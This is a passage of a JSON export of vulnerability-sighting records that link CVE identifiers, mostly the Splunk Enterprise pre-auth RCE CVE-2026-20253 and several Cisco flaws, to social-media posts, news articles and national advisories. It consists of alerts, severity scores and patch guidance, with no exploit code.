Gateway\u306e\u7279\u5b9a\u30d0\u30fc\u30b8\u30e7\u30f3\u4ee5\u4e0b\u306b\u3001jsonpickle\u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u5b89\u5168\u3067\u306a\u3044\u30c7\u30b7\u2026\nCVE-2026-20251 CVSS 8.8 | HIGH", "creation_timestamp": "2026-06-10T20:23:27.655879Z"}, {"uuid": "7d35ed86-ce2b-4d80-bc9f-526375ade751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mnxprjs3hj2n", "content": "\ud83d\udd12 Splunk Enterprise PostgreSQL sidecar has no auth (CVE-2026-20253, CVSS 9.8)\n\nA critical vulnerability (CVE-2026-20253, CVSS 9.8) in Splunk Enterprise's PostgreSQL sidecar allows u...\n\nhttps://tinyurl.com/257xzcyw #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-10T22:04:55.260328Z"}, {"uuid": "0ba19640-7152-449e-adee-edc6412159e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnyac2nix62p", "content": "Splunk Enterprise CRITICAL vuln: Unauthenticated file operations via PostgreSQL sidecar endpoint in 10.2 & 10.0. Restrict access ASAP while awaiting patch. Details: https://radar.offseq.com/threat/cve-2026-20253-the-software-does-not-perform-any-a-b96d376c #OffSeq #Splunk #Vuln", "creation_timestamp": "2026-06-11T03:00:30.340014Z"}, {"uuid": "fb92c7f7-75e4-45b0-9fe0-3700c14afab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-splunk-3", "content": "", "creation_timestamp": "2026-06-11T00:32:43.000000Z"}, {"uuid": "8bec4688-3898-4069-9879-d56726121b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-splunk-3", "content": "", "creation_timestamp": "2026-06-11T00:32:43.000000Z"}, {"uuid": "b3f0eebb-5a29-4e07-9733-580b1868f8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20252", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-splunk-3", "content": "", "creation_timestamp": "2026-06-11T00:32:43.000000Z"}, {"uuid": "1e6084a3-2706-4c6a-8475-69b9630c8dca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20258", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-splunk-3", "content": "", "creation_timestamp": "2026-06-11T00:32:43.000000Z"}, {"uuid": "ade6feaa-1dee-4159-9574-0d2114be5ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116731553105843867", "content": "Attention, elevated activities detected targeting Splunk Enterprise and Cloud Platform (CVE-2026-20253) https://vuldb.com/vuln/370218/cti", "creation_timestamp": "2026-06-11T12:49:06.254176Z"}, {"uuid": "948b8545-3e99-4a51-8be8-b194c9bc98dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mnzuqtxba72h", "content": "CVE-2026-20245, Cisco SD-WAN Manager. We mapped the SD-WAN Manager CVE chain May 16, then called this specific zero-day June 5. The weaponized PoC hit GitHub June 10 \u2014 five days after our post, before most feeds flagged it.", "creation_timestamp": "2026-06-11T18:39:20.507953Z"}, {"uuid": "924b2bd4-b9ae-4200-9156-94cd547718db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mo2u47vhao2q", "content": "CISA added CVE-2026-20245 plus Cisco/Chrome/Arista flaws to the KEV catalog after reports of active exploitation. Patch quickly and verify exposure in your environment. #Cybersecurity #Vulnerability #ThreatIntel\n\nSource: https://thehackernews.com/2026/06/cisa-adds-cisco-chrome-and-arista-flaws.html", "creation_timestamp": "2026-06-12T04:00:28.885564Z"}, {"uuid": "9b7cb9de-de4c-44b7-b301-2019d3f52df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96776", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CIMCown\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NSIDE-ATTACK-LOGIC\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 15:59:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC toolkit for exploiting Cisco IMC RCE CVE-2026-20200\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-06T00:00:33.560478Z"}, {"uuid": "aed102cd-501b-47ed-8e69-796d84cdae0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20257", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "c8c0b6b3-c871-414a-87ff-793c60390ae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20258", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "44b7d4d1-41f2-42dd-bda0-a28ed1e692a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20252", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "fde4fbdb-d81b-4a5e-aab5-95c9616e2aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20254", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "d011d0ae-a132-4655-9b8d-9d495998fe97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:07.526783Z"}, {"uuid": "da72aab6-d5d8-48e3-a63a-6e6e3e983454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20256", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "e73bc09c-8b75-457c-be4f-d1b3e9f183d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "eb4ca791-31cb-495a-a56f-d7c234ef890e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20255", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "8cac76bc-868f-4d41-bf3e-e84d8bbb6726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20259", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/splunk-products-multiple-vulnerabilities_20260612", "content": "", "creation_timestamp": "2026-06-11T18:00:00.000000Z"}, {"uuid": "f5ee0f47-256c-42dc-a4d4-50ba213aee9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mo4m5aitce25", "content": "Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE) - watchTowr Labs", "creation_timestamp": "2026-06-12T20:43:12.680655Z"}, {"uuid": "cd7cd914-67a9-47f7-82d8-a565db2675f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mo57ksxbqi2d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 49 interactions\nCVE-2026-11645: 29 interactions\nCVE-2025-10263: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-35273: 16 interactions\nCVE-2026-20253: 10 interactions\nCVE-2026-12060: 4 interactions\n", "creation_timestamp": "2026-06-13T02:36:46.598145Z"}, {"uuid": "ab2d9784-1ea6-4d6d-a93f-ad35c5b628f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce", "content": "", "creation_timestamp": "2026-06-12T16:34:13.237000Z"}, {"uuid": "36e95dd6-01d3-4f25-8938-9d5bb7b06add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/116742457490759004", "content": "En las \u00faltimas 24 horas, se han descubierto vulnerabilidades cr\u00edticas en Splunk Enterprise y Windows que permiten ejecuci\u00f3n remota y evasi\u00f3n de sandbox, mientras un fallo de m\u00e1s de una d\u00e9cada en phpBB revela la necesidad de auditor\u00edas continuas; adem\u00e1s, la IA ampl\u00eda la superficie de ataque y AMD enfrenta controversia por retraso en parche y rechazo a recompensa. Descubre estos y m\u00e1s detalles en el siguiente listado de noticias sobre seguridad inform\u00e1tica:\n\ud83d\uddde\ufe0f \u00daLTIMAS NOTICIAS EN SEGURIDAD INFORM\u00c1TICA \ud83d\udd12====| \ud83d\udd25 LO QUE DEBES SABER HOY \ufeff\ufeff13/06/26\ufeff\ufeff  \ud83d\udcc6 |==== \n\ud83d\udd10 VULNERABILIDAD CR\u00cdTICA EN SPLUNK ENTERPRISE CVE-2026-20253\nSe ha revelado una grave vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo (RCE) en Splunk Enterprise, identificada como CVE-2026-20253, que permite a atacantes comprometer sistemas antes de la autenticaci\u00f3n. Este fallo pone en riesgo datos sensibles en entornos empresariales, subrayando la importancia de implementar autenticaci\u00f3n a nivel de aplicaci\u00f3n adem\u00e1s de la propia base de datos. Mantenerse actualizado con los parches y reforzar las capas de seguridad es clave para mitigar este tipo de amenazas. Descubre el an\u00e1lisis completo y recomendaciones de protecci\u00f3n aqu\u00ed \ud83d\udc49 https://djar.co/D5AoI\n\ud83e\udd16 LA INTELIGENCIA ARTIFICIAL EXPANDE LA SUPERFICIE DE ATAQUE\nLa r\u00e1pida adopci\u00f3n de inteligencia artificial est\u00e1 transformando no solo el desarrollo de software, sino tambi\u00e9n la seguridad, ampliando notablemente la superficie de ataque en proyectos de c\u00f3digo abierto, SaaS y equipos \u00e1giles. El desaf\u00edo radica en detectar y anticipar brechas potenciales que ahora pueden surgir desde m\u00faltiples puntos de entrada y procesos automatizados. Adoptar una mentalidad proactiva que asuma la posibilidad de compromiso es vital para fortalecer defensas y limitar da\u00f1os. Profundiza en c\u00f3mo prepararte ante esta nueva realidad de ciberseguridad \ud83d\udc49 https://djar.co/TMCu\n\u26a0\ufe0f AMD RECHAZA PAGO DE RECOMPENSA POR FALLA CR\u00cdTICA QUE TARD\u00d3 124 D\u00cdAS EN PARCHEARSE\nUna vulnerabilidad cr\u00edtica en el actualizador autom\u00e1tico de AMD puso en riesgo sistemas durante m\u00e1s de cuatro meses antes de ser corregida. A pesar de la gravedad, la empresa neg\u00f3 la recompensa de 10,000 d\u00f3lares solicitada por el investigador que report\u00f3 el fallo. Este caso refleja la complejidad y controversia en la gesti\u00f3n de programas de bug bounty, adem\u00e1s de la necesidad de mejorar los tiempos de respuesta ante vulnerabilidades que afectan la cadena de suministro tecnol\u00f3gica. Explora los detalles y lecciones de este incidente aqu\u00ed \ud83d\udc49 https://djar.co/B0LC\n\ud83d\udee1\ufe0f PHPBB SOLUCIONA VULNERABILIDAD DE EVASI\u00d3N DE AUTENTICACI\u00d3N DE M\u00c1S DE UNA D\u00c9CADA\nUna brecha presente durante m\u00e1s de diez a\u00f1os en phpBB, uno de los foros m\u00e1s populares, permit\u00eda a atacantes sortear la autenticaci\u00f3n y obtener acceso con privilegios administrativos. Esta vulnerabilidad cr\u00edtica resalta la importancia de auditor\u00edas continuas en software de larga vida y en proyectos comunitarios. Los administradores deben actualizar inmediatamente para proteger sus comunidades y evitar accesos no autorizados que pueden comprometer la integridad de sus plataformas. Lee el informe completo y aplique las medidas recomendadas \ud83d\udc49 https://t.co/eUXZqMUPpu\n\ud83d\udd75\ufe0f\u200d\u2642\ufe0f CVE-2026-40369: FUGA DE LA SANDBOX DEL NAVEGADOR EN WINDOWS\nUna vulnerabilidad t\u00e9cnica en Windows, identificada como CVE-2026-40369, permite a atacantes evadir la sandbox de los navegadores mediante una manipulaci\u00f3n directa en el kernel, abriendo la puerta a la ejecuci\u00f3n de c\u00f3digo malicioso fuera del entorno seguro habitual. Esta falla representa un riesgo para la seguridad del usuario y la integridad de los datos, especialmente en entornos de navegaci\u00f3n restringida. Mantener los sistemas actualizados y utilizar herramientas de protecci\u00f3n avanzadas es fundamental para mitigar este tipo de amenazas. Revisa el an\u00e1lisis detallado y recomendaciones aqu\u00ed \ud83d\udc49 https://djar.co/vBsmF", "creation_timestamp": "2026-06-13T11:02:14.138854Z"}, {"uuid": "e015ee5a-4779-42c2-99ce-7e58c998a2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mo6f7mfj5y2r", "content": "Splunk Enterprise (v10.2.4/10.0.7\u672a\u6e80)\u306b\u8a8d\u8a3c\u306a\u3057\u3067\u30b3\u30fc\u30c9\u5b9f\u884c\u53ef\u80fd\u306a\u8106\u5f31\u6027(CVE-2026-20253)\u3042\u308a\u3002\u653b\u6483\u8005\u306f\u4efb\u610f\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u3084\u30b3\u30fc\u30c9\u5b9f\u884c\u53ef\u80fd\u3002", "creation_timestamp": "2026-06-13T13:44:35.915786Z"}, {"uuid": "a38e749b-7774-4909-b2f9-95a4498206f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mo6fse272l2z", "content": "CVE-2026-20253 enables unauthenticated file operations and potential pre-authenticated remote code execution in vulnerable Splunk Enterprise versions via PostgreSQL sidecar endpoints.\n", "creation_timestamp": "2026-06-13T13:55:03.883127Z"}, {"uuid": "0912cdf1-4270-481c-aa9a-9bbf1b1c259b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "content": "Splunk has released security updates to address a critical security flaw in Splunk Enterprise that could be exploited to conduct unauthenticated file operations and even remote code execution.\n\nThe vulnerability, tracked as CVE-2026-20253, is rated 9.8 on the CVSS scoring system.\n\n\"In Splunk Enterprise versions below 10.2.4 and 10.0.7, an unauthenticated user could create or truncate arbitrary", "creation_timestamp": "2026-06-13T11:23:03.000000Z"}, {"uuid": "75531da0-7774-4f93-b7b9-6cdcf5d36f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3mo72jumcb5p2", "content": "Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE) Three posts? In three days? Are we insane? We're home alone, there's no one to stop us, ...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-13T20:09:11.793221Z"}, {"uuid": "d3f94e6e-8540-4832-bb87-ca0dd592bf20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mo7lqcnwqq2j", "content": "\u201cSecurity Tool is the Backdoor\u201d: Inside Splunk\u2019s CVSS 98 Nightmare (CVE-2026-20253)\n\nUnauthenticated Attackers Can Wreak Havoc via a PostgreSQL Sidecar\u2014Update Now. Introduction: A chilling irony has emerged in the cybersecurity world: a security tool designed to be your organization\u2019s eyes and ears\u2026", "creation_timestamp": "2026-06-14T01:13:58.492740Z"}, {"uuid": "1b1e7840-eab1-40d5-99a4-eb675097c61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3moaoklb3gd2s", "content": "\ud83d\udccc Analysis of Splunk Enterprise CVE-2026-20253 Pre-Authentication RCE Vulnerability https://www.cyberhub.blog/article/27000-analysis-of-splunk-enterprise-cve-2026-20253-pre-authentication-rce-vulnerability", "creation_timestamp": "2026-06-14T11:37:06.186576Z"}, {"uuid": "22366d72-e032-4f02-a10a-f81e7c008ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3moas7h246a2h", "content": "3\u6708\u306e\u8105\u5a01\u307e\u3068\u3081\uff1aCisco\u30bc\u30ed\u30c7\u30a4\u3001TeamPCP\u306b\u3088\u308bCI/CD\u4fb5\u5bb3\u3001\u305d\u306e\u4ed6 | CXO\u00a0Transformation\n\n\u4eca\u6708\u306e\u4e3b\u8981\u30cb\u30e5\u30fc\u30b9Interlock\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u304cCisco Secure FMC\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u60aa\u7528Interlock\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306f\u3001Cisco Secure Firewall Management Center\u306b\u5b58\u5728\u3059\u308b\u6700\u5927\u6df1\u523b\u5ea6\uff08CVSS 10.0\uff09\u306e\u8106\u5f31\u6027\uff08CVE-2026-20131\uff09\u3092\u60aa\u7528\u3057\u307e...", "creation_timestamp": "2026-06-14T12:42:27.394324Z"}, {"uuid": "02367972-eb52-4467-8a68-fc64f18f584b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mob6v3fxvm2x", "content": "CVE-2026-20253 \u2014 Splunk Enterprise Unauthenticated RCE", "creation_timestamp": "2026-06-14T16:29:18.477595Z"}, {"uuid": "ce3761a4-4264-4110-9c1c-69ce9d68bc76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116749583315802938", "content": "\ud83d\udcf0 Splunk Scrambles to Patch Critical 9.8 CVSS Flaw Allowing Unauthenticated RCE\n\ud83d\udea8 CRITICAL Splunk Enterprise flaw (CVE-2026-20253) allows unauthenticated RCE! CVSS 9.8. Attackers can execute code via an insecure PostgreSQL endpoint. On-premise versions 10.0.x and 10.2.x are vulnerable. Patch now! #Splunk #RCE #CyberSecurity\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-splunk-enterprise-flaw-cve-2026-20253-allows-unauthenticated-rce/?utm_s\u2026", "creation_timestamp": "2026-06-14T17:14:27.256752Z"}, {"uuid": "0e2ca41b-c73d-4ecf-807a-8a472f527c26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mobbgmm3og2c", "content": "\ud83d\udea8 CRITICAL Splunk Enterprise flaw (CVE-2026-20253) allows unauthenticated RCE! CVSS 9.8. Attackers can execute code via an insecure PostgreSQL endpoint. On-premise versions 10.0.x and 10.2.x are vulnerable. Patch now! #Splunk #RCE #CyberSecurity\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-14T17:14:54.834617Z"}, {"uuid": "4c79c5d2-604c-4a5b-b7bd-be1726ca317a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mobkrgxdyr2x", "content": "Splunk released security updates for CVE-2026-20253, a 9.8 flaw in versions below 10.2.4 & 10.0.7. It allows unauthenticated file operations & remote code execution. Update now!", "creation_timestamp": "2026-06-14T20:02:01.409843Z"}, {"uuid": "7d3e0ebb-684b-46f0-ba7c-3f994807c56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/116751343889084181", "content": "\ud83d\udea8 ALERT - A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.\nThe exploit chain is now public.\nRead the full story: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-06-15T00:42:10.016254Z"}, {"uuid": "56eae5f7-a224-41b3-8292-444a5de29f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-20253.yaml", "content": "", "creation_timestamp": "2026-06-12T21:07:17.000000Z"}, {"uuid": "dadb2ce8-1f4b-4236-974e-d6b4091155c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0198", "content": "", "creation_timestamp": "2026-06-15T01:27:12.000000Z"}, {"uuid": "f30fa1fe-dd63-4566-b358-027607c6f28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0198", "content": "", "creation_timestamp": "2026-06-15T01:27:12.000000Z"}, {"uuid": "d5f8d919-cdb2-4dba-9105-207600ab533c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3modnqc3owd2d", "content": "Critical Splunk Enterprise pre-auth RCE discovered: researchers show why app-level auth matters when database security alone isn't enough. CVE-2026-20253\u2026\n\nhttps://www.reddit.com/r/netsec/comments/1u46wbb/why_use_applevel_auth_when_every_database_has/\n\n#cybersecurity #infosec", "creation_timestamp": "2026-06-15T16:00:23.031912Z"}, {"uuid": "bf34af53-bb3b-4304-ae71-b545c68301bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3modo4fgkeo2f", "content": "\ud83d\udccc CVE-2026-20253 - In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user ... https://www.cyberhub.blog/cves/CVE-2026-20253", "creation_timestamp": "2026-06-15T16:07:09.321371Z"}, {"uuid": "96ef643b-5f8f-41db-a9d4-287ec9572244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116754992031201310", "content": "Broadcom has a new advisory for a critical vulnerability:\nEndevor Bridge for Git 2.4.4 to 2.15.19 Vulnerabilities https://support.broadcom.com/web/ecx/security-advisory\nCisco:\nMedium-severity: CVE-2026-20262: Cisco Catalyst SD-WAN Manager Arbitrary File Write Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-arbfw-c2rZvQ \nCisco has also tagged Microsoft for a zero-day report, expected on June 16 https://talosintelligence.com/vulnerability_info @TalosSecurity #Cisco  #Broadcom #infosec #vulnerability", "creation_timestamp": "2026-06-15T16:09:55.912433Z"}, {"uuid": "37ebbf05-42ed-4550-b612-a5e861c7c9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://t.me/cyberok_news/237", "content": "\ud83d\udcc2 \u041e\u0434\u0438\u043d \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u2014 \u0438 \u0442\u044b \u0430\u0434\u043c\u0438\u043d. \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 